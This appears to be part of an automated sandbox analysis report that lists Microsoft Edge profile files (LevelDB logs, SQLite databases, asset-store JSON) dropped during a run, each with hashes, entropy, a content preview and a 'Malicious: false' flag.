SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.24271241174261
Encrypted:	false
SSDEEP:	6:HOfXi2wj1N723oH+Tcwtp3hBtB2KLlVOfX9lrQL+q2PN723oH+Tcwtp3hBWsIFUv:QXi/aYebp3dFLYXHEyvVaYebp3eFUv
MD5:	264B8210CE45179B452709310C77BEA9
SHA1:	85C70DA49790BD2D77E929666C309F93B39505CD
SHA-256:	1793AC53C7F5473EDFC8D716D8A941F6C819EEDABDA16ADDCFFD164889717EF4
SHA-512:	75B7544B0D1D975CCA425BEF0B632D0E9A5E0210E56D9AEA431DB8DD81A0F3120E236E79A6731ECD00068F5EBE6CEBB1E8AFA75E0C990EDB4B0A43DC2B9707B1
Malicious:	false
Preview:	2024/11/22-20:55:33.385 2258 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/22-20:55:33.417 2258 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222872872268973
Encrypted:	false
SSDEEP:	24576:IbPMZpVHfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVHfx2mjF
MD5:	969825999136E48E2155F28A3C62CF22
SHA1:	B102B032C8C86CB547A5991D52F4C5C0AC0CC1A9
SHA-256:	486ACCAEEDA583B6AC1E0C1C61CC6580C90A5C613170E81346C480AE245DB1FF
SHA-512:	3AED227021E647E5E7581C1869AC4B0565C7DE927223900E17E7702C1D9DC40F3D1273EFF3905B72FDBC5A18BF28D4B247EEE6503F8E08263BCD0B66BCC978F5
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.117295426214804
Encrypted:	false
SSDEEP:	6:HOfX9gq2PN723oH+Tcwt9Eh1tIFUt8YOfXz1XZmw+YOfXzaG7kwON723oH+TcwtY:QXuvVaYeb9Eh16FUt8bXz1X/+bXOO5Oj
MD5:	B560BC7DD7ED372C5C0E40366B93071F
SHA1:	08463211DE45C19F2D71286E37CC74ECB9FD55E6
SHA-256:	EEEEA0157188AAA5E55F2BF16DEC8AD04937E35CF65237D6E0CBF9FD1DC57CC8
SHA-512:	689BD168C88914E22C1EECB45F6CE4AC9CD5CA80839CF333AE79AD8C75BF6D933AD498D9BD1E422C506E403CFBC384ECDF22F07AE75A9063497BDC9288ACC0B5
Malicious:	false
Preview:	2024/11/22-20:55:33.417 1fc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-20:55:33.419 1fc0 Recovering log #3.2024/11/22-20:55:33.426 1fc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.117295426214804
Encrypted:	false
SSDEEP:	6:HOfX9gq2PN723oH+Tcwt9Eh1tIFUt8YOfXz1XZmw+YOfXzaG7kwON723oH+TcwtY:QXuvVaYeb9Eh16FUt8bXz1X/+bXOO5Oj
MD5:	B560BC7DD7ED372C5C0E40366B93071F
SHA1:	08463211DE45C19F2D71286E37CC74ECB9FD55E6
SHA-256:	EEEEA0157188AAA5E55F2BF16DEC8AD04937E35CF65237D6E0CBF9FD1DC57CC8
SHA-512:	689BD168C88914E22C1EECB45F6CE4AC9CD5CA80839CF333AE79AD8C75BF6D933AD498D9BD1E422C506E403CFBC384ECDF22F07AE75A9063497BDC9288ACC0B5
Malicious:	false
Preview:	2024/11/22-20:55:33.417 1fc0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/22-20:55:33.419 1fc0 Recovering log #3.2024/11/22-20:55:33.426 1fc0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4627478410129949
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuAv:TouQq3qh7z3bY2LNW9WMcUvBuAv
MD5:	E592EE2FF116EE46EC7FAC9D0AD1FAF5
SHA1:	F75ED110BC755933F653AF246942E0527CDD020E
SHA-256:	C7325DBAFE8D346B601A4088BC66F985F5EB328BEB3E4FFDC80FDDA81A4E3B0B
SHA-512:	269307F6B101885D0BDAD577A934E08D0BED3D6FA0E92A7767F63EC6E6F32E39C206B28CF7B5CE15967D7DDC8305B0B4C5CFAA1FFDAD398E7405A9858C33622C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.1668659795047915
Encrypted:	false
SSDEEP:	6:HOfHq2PN723oH+TcwtnG2tMsIFUt8YOfqZmw+YOfWkwON723oH+TcwtnG2tMsLJ:QHvVaYebn9GFUt8bq/+bW5OaYebn95J
MD5:	33D72DFBF29274B3B270153650EEADBA
SHA1:	C6A67A2B91B53FE08F4DE31BD4CF1FAA4A33860C
SHA-256:	E3CF9C2383FBA33C603AABBC064CDD407C1A215B22DF1A4131212F82009C14B2
SHA-512:	51319E6693DC4F63F0C8692F6490E5E9F71C9C4BB69442813678583CCB4030B281562A5F7CF2B71C6AACFB09D4BA1ABEB2AD00A875CC9199A30AE3A9B1ADC1D8
Malicious:	false
Preview:	2024/11/22-20:55:28.882 2360 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-20:55:28.882 2360 Recovering log #3.2024/11/22-20:55:28.882 2360 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.1668659795047915
Encrypted:	false
SSDEEP:	6:HOfHq2PN723oH+TcwtnG2tMsIFUt8YOfqZmw+YOfWkwON723oH+TcwtnG2tMsLJ:QHvVaYebn9GFUt8bq/+bW5OaYebn95J
MD5:	33D72DFBF29274B3B270153650EEADBA
SHA1:	C6A67A2B91B53FE08F4DE31BD4CF1FAA4A33860C
SHA-256:	E3CF9C2383FBA33C603AABBC064CDD407C1A215B22DF1A4131212F82009C14B2
SHA-512:	51319E6693DC4F63F0C8692F6490E5E9F71C9C4BB69442813678583CCB4030B281562A5F7CF2B71C6AACFB09D4BA1ABEB2AD00A875CC9199A30AE3A9B1ADC1D8
Malicious:	false
Preview:	2024/11/22-20:55:28.882 2360 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/22-20:55:28.882 2360 Recovering log #3.2024/11/22-20:55:28.882 2360 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6145009954269941
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jssJypqgsJv/MmL:TO8D4jJ/6Up+bBxh
MD5:	4FBEF00ACA6616F08757874594AC4E91
SHA1:	35A068832E92C68A7BB93A43A18335C93BF08BD4
SHA-256:	D8476016735693255A9A49756FD4CC360D89E90FBE04187736C9DDDE645C76D0
SHA-512:	55204ECDA85B79941A03A319D8399B58A1A59382FC98A66CB74A8E8A8B269E47DA4B25E1EA035AFAFE101768174390292711F475350D5B2DB9069B7A62ED1CB0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354127193634937
Encrypted:	false
SSDEEP:	6144:QA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:QFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	02AC019D6875D1FFB9F73672414C5453
SHA1:	882FFFA1D0E4C412CA4E7B685F530D7D123FF8AE
SHA-256:	4C25E23911BD6ACD2D661F03BD4EEAAF2B11E542F6FBA7FC28B822CC686D7817
SHA-512:	83081FE33DA0D7DF45C350E4DD378AE39DAB76B27F3E474A63AC4A0717A4DE600624BB7FC81A21F9324DAB1B8D13E9C0681D48E9E6DD3B9D5412B0C13DB7556F
Malicious:	false
Preview:	...m.................DB_VERSION.1..u.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376800536994925..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.112287911857655
Encrypted:	false
SSDEEP:	6:HOfXVGs1N723oH+Tcwtk2WwnvB2KLlVOfXkUkM+q2PN723oH+Tcwtk2WwnvIFUv:QXbaYebkxwnvFLYXdkM+vVaYebkxwnQg
MD5:	2C312B234EDF45D487E8F790B8744DD4
SHA1:	2A416F1CA865818E8698A52D4A4F65A41D1E9B39
SHA-256:	237DF44CCAD00289F47C5ADE8E874FF716C99CE13176CBDC9A026A36BF878552
SHA-512:	4FF3CFDD852BCE258C783A8A9539E665EF412D7608E3EEE3A3EDFE6C959937E174D0291B99C0DF3693B8A20F6FB104419547D957BDCFFEB38842E514ADAB9F7D
Malicious:	false
Preview:	2024/11/22-20:55:33.431 1fc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/22-20:55:33.510 1fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324612667869793
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rf:C1gAg1zfvH
MD5:	90CEFD00F34604539C8383A5631C832B
SHA1:	CF335987DC3926726DE53B57CF35FE91546AA7D7
SHA-256:	4D9203FD6432D5D197BA89FE3D8F483462714843F18F0C22A730EE076B1979A7
SHA-512:	8E9B6BBA4ACBA17414C173866E18031D22E4997F9DFB3BE4E23BC562D0531302466DF2E69863F1FC806033E8DF103E5D41F435108403EC68226B4F459520FA35
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.170914791795328
Encrypted:	false
SSDEEP:	6:HOfr+q2PN723oH+Tcwt8aPrqIFUt8YOfH0FZZmw+YOfH0FNVkwON723oH+Tcwt8h:QSvVaYebL3FUt8bHQ/+bHY5OaYebQJ
MD5:	2154B83C9BA4AF016C6629A232F33185
SHA1:	2A6274C628F93D54FAE639FAE29026795EF35D5B
SHA-256:	D64B580111D0FEAB8E2B884432FDC6438BE213A5D86C49F355BE5816CCFFA89A
SHA-512:	0FA33CC3F9E4A6A4FE4D3E7D91288B30148D79A4141C33F8BC1C8D163ACC3C06BBC89A4557D34F73EE6F4A07C754DA033E1E473C6191655AA638CD37B20C5D56
Malicious:	false
Preview:	2024/11/22-20:55:28.889 2368 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-20:55:28.893 2368 Recovering log #3.2024/11/22-20:55:28.893 2368 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.170914791795328
Encrypted:	false
SSDEEP:	6:HOfr+q2PN723oH+Tcwt8aPrqIFUt8YOfH0FZZmw+YOfH0FNVkwON723oH+Tcwt8h:QSvVaYebL3FUt8bHQ/+bHY5OaYebQJ
MD5:	2154B83C9BA4AF016C6629A232F33185
SHA1:	2A6274C628F93D54FAE639FAE29026795EF35D5B
SHA-256:	D64B580111D0FEAB8E2B884432FDC6438BE213A5D86C49F355BE5816CCFFA89A
SHA-512:	0FA33CC3F9E4A6A4FE4D3E7D91288B30148D79A4141C33F8BC1C8D163ACC3C06BBC89A4557D34F73EE6F4A07C754DA033E1E473C6191655AA638CD37B20C5D56
Malicious:	false
Preview:	2024/11/22-20:55:28.889 2368 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-20:55:28.893 2368 Recovering log #3.2024/11/22-20:55:28.893 2368 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.168897772559587
Encrypted:	false
SSDEEP:	6:HOfV03+q2PN723oH+Tcwt865IFUt8YOfgvE5Zmw+YOfgvEtVkwON723oH+Tcwt8e:QmOvVaYeb/WFUt8bg4/+bgg5OaYeb/+e
MD5:	B150030D46F16A64A7A003329D563552
SHA1:	41DBA3238DC72FDA56DCF21B4436D7CF20D773AB
SHA-256:	213F3C7E83683181BD23F19A730874A862C303EC0F9BFB65519381256040B798
SHA-512:	3E9B72C7E167F23A11B4ABF9A87DAACD61D9B03BC4B1D1CD310657840B34B2E584870E46DD424A24F23F0D63C43E34089DDE67050003985C8564F0A9357760A2
Malicious:	false
Preview:	2024/11/22-20:55:28.899 2368 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-20:55:28.900 2368 Recovering log #3.2024/11/22-20:55:28.900 2368 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.168897772559587
Encrypted:	false
SSDEEP:	6:HOfV03+q2PN723oH+Tcwt865IFUt8YOfgvE5Zmw+YOfgvEtVkwON723oH+Tcwt8e:QmOvVaYeb/WFUt8bg4/+bgg5OaYeb/+e
MD5:	B150030D46F16A64A7A003329D563552
SHA1:	41DBA3238DC72FDA56DCF21B4436D7CF20D773AB
SHA-256:	213F3C7E83683181BD23F19A730874A862C303EC0F9BFB65519381256040B798
SHA-512:	3E9B72C7E167F23A11B4ABF9A87DAACD61D9B03BC4B1D1CD310657840B34B2E584870E46DD424A24F23F0D63C43E34089DDE67050003985C8564F0A9357760A2
Malicious:	false
Preview:	2024/11/22-20:55:28.899 2368 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-20:55:28.900 2368 Recovering log #3.2024/11/22-20:55:28.900 2368 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

